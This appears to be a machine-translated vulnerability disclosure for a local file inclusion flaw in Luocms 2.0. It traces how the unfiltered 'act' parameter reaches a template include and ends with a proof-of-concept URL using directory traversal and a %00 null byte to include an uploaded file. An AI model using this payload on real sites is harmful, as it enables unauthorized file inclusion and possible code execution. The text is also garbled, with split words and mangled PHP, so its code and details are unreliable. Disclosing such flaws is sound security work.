Luocms 2.0 local file inclusion

A little chicken ribs

/*************************************** * ************** // * Luocms 2.0 Local File compression sion Vulnerability/* ============== =============/* E-Mail: 681796@qq.com/* ======================================== /************ **************************************** * ** // * Welcome http://www.90sec.com *//************************************* * ***************** // First check the home page <? PHPrequire_once "inc/const. php "; $ id = getvar (" id "); // view the function getvar $ fid = getvar (" fid "); $ cid = getvar (" cid "); $ act = getvar ("act"); $ p = getvar ("p"); $ p =! Empty ($ p )? $ P: 1; $ p_l = new cls_tpl (); $ p_l-> tpl_main ($ act, $ id, $ cid, $ sitepath, $ p);?> // Function tpl_main ($ act, $ id, $ cid, $ sitepath, $ p) followed by the tpl_main function {// $ stime = microtime (true ); // get the execution start time of the program $ tpl_addr = $ this-> get_tpl ($ act); $ temp = $ this-> load_tpl ($ tpl_addr ); $ temp = $ this-> get_include_file ($ temp); // contains the generated $ temp = $ this-> get_sys_tag ($ temp, $ id, $ cid ); $ temp = $ this-> get_list_tag ($ temp, $ id, $ cid, $ p); $ temp = $ this-> get_url_path ($ temp ); $ temp = $ this-> get_sort_tag ($ temp, $ id, $ cid); $ temp = $ this-> get _ Title_tag ($ temp, $ id); $ temp = $ this-> get_sitepath ($ temp, $ act, $ id, $ cid); if ($ id! = "") {$ Temp = $ this-> get_content_content ($ temp, $ id); $ temp = $ this-> get_prv_next ($ temp, $ id );} echo $ temp; // $ etime = microtime (true); // obtain the execution end time of the program // $ total = $ etime-$ stime; // calculate the difference // echo "<br/> $ total times";} // function get_tpl ($ act) {if ($ act! = "") {$ Temp = $ GLOBALS [templatedir]. $ act. $ GLOBALS [rewriteext];} else {$ temp = $ GLOBALS [templatedir]. $ GLOBALS [indextemplate];} return $ temp;} // $ GLOBALS [templatedir]. $ act. $ GLOBALS [rewriteext]; check the value $ installdir = ""; $ templatedir = 'template/'; $ databasePrefix = "luo _"; $ indexname = "LUOCMS Homepage "; $ indextemplate = 'index.html '; $ httpurl =" http://127.0.0.1/lUOCMS_UTF8_V2.0.101201/upload/ "; $ Defaultext = 'html'; $ sitepatheatmap = '>'; $ titlepatheatmap = '-'; $ rewriteext = '.html '; $ author =" Admin "; $ source = ""; $ site_beian = "123456"; $ manager_email = "admin@luocms.com"; $ sysversion = "V2.0.101108 _ UTF8"; $ issetup = "0 "; // OK template/abstract.html $ act controllable inclusion

 

Poc: http://www.luocms.com/index.php? Act = ../upload/file/3.txt% 00 solution: Filter